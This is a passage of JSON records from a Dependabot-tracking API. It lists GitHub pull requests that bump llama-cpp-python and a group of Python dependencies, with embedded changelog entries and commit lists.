href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/02d6beed816535cb2ce845ad8558d0c8662f8e7e\"\u003e\u003ccode\u003e02d6bee\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.20 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2171\"\u003e#2171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/08e088cde15e0b56e46337d6f49000518c18c203\"\u003e\u003ccode\u003e08e088c\u003c/code\u003e\u003c/a\u003e fix(misc): replace deprecated llama.cpp references (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/100b275c88763e2fada18d009e9bca8287cdb7c9\"\u003e\u003ccode\u003e100b275\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7257ba95fbbf65201fd5bf4b7f0bdd1c701e1345\"\u003e\u003ccode\u003e7257ba9\u003c/code\u003e\u003c/a\u003e feat(server): add model-load chat_template_kwargs (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7613aca61259820ab550626384af52eed56a731f\"\u003e\u003ccode\u003e7613aca\u003c/code\u003e\u003c/a\u003e ci: publish release wheels as py3-none (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fcd932a1574b7b6fdfc6c2d652f10f3af66995b5\"\u003e\u003ccode\u003efcd932a\u003c/code\u003e\u003c/a\u003e fix(ci): publish distinct manylinux and musllinux cpu wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.0...v0.3.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/chipi/podcast_scraper/pull/502","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/chipi%2Fpodcast_scraper/issues/502","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/502/packages"},{"uuid":"4156955488","node_id":"PR_kwDOLFHrAM7ONC8r","number":206,"state":"open","title":"chore(deps): bump llama-cpp-python from 0.3.16 to 0.3.19","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-03-28T02:05:29.000Z","updated_at":"2026-03-28T17:51:03.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.16","new_version":"0.3.19","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.16 to 0.3.19.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d6f46a50d6b4cda10460c05e2acdbaec74428c1b\"\u003e\u003ccode\u003ed6f46a5\u003c/code\u003e\u003c/a\u003e chore: bump version (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2157\"\u003e#2157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7b38c3122d2ff3ad23e1502de045807836ced4a7\"\u003e\u003ccode\u003e7b38c31\u003c/code\u003e\u003c/a\u003e feat: expose attention_type parameter in Llama.\u003cstrong\u003einit\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ccc6bc0454b2d73431a419620aad92fda1aba162\"\u003e\u003ccode\u003eccc6bc0\u003c/code\u003e\u003c/a\u003e fix(ci): docker build workflow (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/909ebf1246a52c15ebc95460c7e5957e3b64711e\"\u003e\u003ccode\u003e909ebf1\u003c/code\u003e\u003c/a\u003e fix(ci): cuda wheel workflow (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f0391c5ea7159b4c4916d9f4aced2f982adbd1f4\"\u003e\u003ccode\u003ef0391c5\u003c/code\u003e\u003c/a\u003e fix(ci): release wheel workflow (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/a6b180724a641750aeaefa51692fe12ee8c4d54f\"\u003e\u003ccode\u003ea6b1807\u003c/code\u003e\u003c/a\u003e chore: Bump version (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2153\"\u003e#2153\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.16...v0.3.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/nextcloud/llm2/pull/206","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nextcloud%2Fllm2/issues/206","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/206/packages"},{"uuid":"3720953760","node_id":"PR_kwDOQJdjYc64cHO5","number":216,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 35 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-12-11T21:06:36.000Z","updated_at":"2025-12-11T21:06:43.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":35,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"anyio","old_version":"4.11.0","new_version":"4.12.0","repository_url":"https://github.com/agronholm/anyio"},{"name":"exceptiongroup","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/agronholm/exceptiongroup"},{"name":"fastapi","old_version":"0.121.2","new_version":"0.124.2","repository_url":"https://github.com/fastapi/fastapi"},{"name":"fsspec","old_version":"2025.10.0","new_version":"2025.12.0"},{"name":"gradio","old_version":"5.49.1","new_version":"5.50.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"gradio-client","old_version":"1.13.3","new_version":"1.14.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"huggingface-hub","old_version":"1.1.4","new_version":"1.2.2","repository_url":"https://github.com/huggingface/huggingface_hub"},{"name":"hypothesis","old_version":"6.148.1","new_version":"6.148.7","repository_url":"https://github.com/HypothesisWorks/hypothesis"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"openai","old_version":"2.8.1","new_version":"2.11.0","repository_url":"https://github.com/openai/openai-python"},{"name":"orjson","old_version":"3.11.4","new_version":"3.11.5","repository_url":"https://github.com/ijl/orjson"},{"name":"prometheus-client","old_version":"0.20.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.11.10","new_version":"2.12.5","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pydantic-core","old_version":"2.33.2","new_version":"2.41.5","repository_url":"https://github.com/pydantic/pydantic-core"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"rpds-py","old_version":"0.29.0","new_version":"0.30.0","repository_url":"https://github.com/crate-py/rpds"},{"name":"ruff","old_version":"0.14.5","new_version":"0.14.8","repository_url":"https://github.com/astral-sh/ruff"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"urllib3","old_version":"2.6.0","new_version":"2.6.2","repository_url":"https://github.com/urllib3/urllib3"},{"name":"bandit","old_version":"1.9.1","new_version":"1.9.2","repository_url":"https://github.com/PyCQA/bandit"},{"name":"black","old_version":"25.11.0","new_version":"25.12.0","repository_url":"https://github.com/psf/black"},{"name":"cfgv","old_version":"3.4.0","new_version":"3.5.0","repository_url":"https://github.com/asottile/cfgv"},{"name":"coverage","old_version":"7.12.0","new_version":"7.13.0"},{"name":"marshmallow","old_version":"4.1.0","new_version":"4.1.1","repository_url":"https://github.com/marshmallow-code/marshmallow"},{"name":"mypy","old_version":"1.18.2","new_version":"1.19.0","repository_url":"https://github.com/python/mypy"},{"name":"packageurl-python","old_version":"0.17.5","new_version":"0.17.6","repository_url":"https://github.com/package-url/packageurl-python"},{"name":"pip-audit","old_version":"2.9.0","new_version":"2.10.0","repository_url":"https://github.com/pypa/pip-audit"},{"name":"platformdirs","old_version":"4.5.0","new_version":"4.5.1","repository_url":"https://github.com/tox-dev/platformdirs"},{"name":"pylint","old_version":"4.0.3","new_version":"4.0.4","repository_url":"https://github.com/pylint-dev/pylint"},{"name":"pymdown-extensions","old_version":"10.17.1","new_version":"10.19","repository_url":"https://github.com/facelessuser/pymdown-extensions"},{"name":"pytest-asyncio","old_version":"0.24.0","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"safety-schemas","old_version":"0.0.16","new_version":"0.0.17","repository_url":"https://github.com/pyupio/safety_schemas"},{"name":"stevedore","old_version":"5.5.0","new_version":"5.6.0"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 35 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [anyio](https://github.com/agronholm/anyio) | `4.11.0` | `4.12.0` |\n| [exceptiongroup](https://github.com/agronholm/exceptiongroup) | `1.3.0` | `1.3.1` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.121.2` | `0.124.2` |\n| [fsspec[http]](https://github.com/fsspec/filesystem_spec) | `2025.10.0` | `2025.12.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `5.49.1` | `5.50.0` |\n| [gradio-client](https://github.com/gradio-app/gradio) | `1.13.3` | `1.14.0` |\n| [huggingface-hub](https://github.com/huggingface/huggingface_hub) | `1.1.4` | `1.2.2` |\n| [hypothesis](https://github.com/HypothesisWorks/hypothesis) | `6.148.1` | `6.148.7` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [openai](https://github.com/openai/openai-python) | `2.8.1` | `2.11.0` |\n| [orjson](https://github.com/ijl/orjson) | `3.11.4` | `3.11.5` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.20.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.11.10` | `2.12.5` |\n| [pydantic-core](https://github.com/pydantic/pydantic-core) | `2.33.2` | `2.41.5` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [rpds-py](https://github.com/crate-py/rpds) | `0.29.0` | `0.30.0` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.14.5` | `0.14.8` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [urllib3](https://github.com/urllib3/urllib3) | `2.6.0` | `2.6.2` |\n| [bandit](https://github.com/PyCQA/bandit) | `1.9.1` | `1.9.2` |\n| [black](https://github.com/psf/black) | `25.11.0` | `25.12.0` |\n| 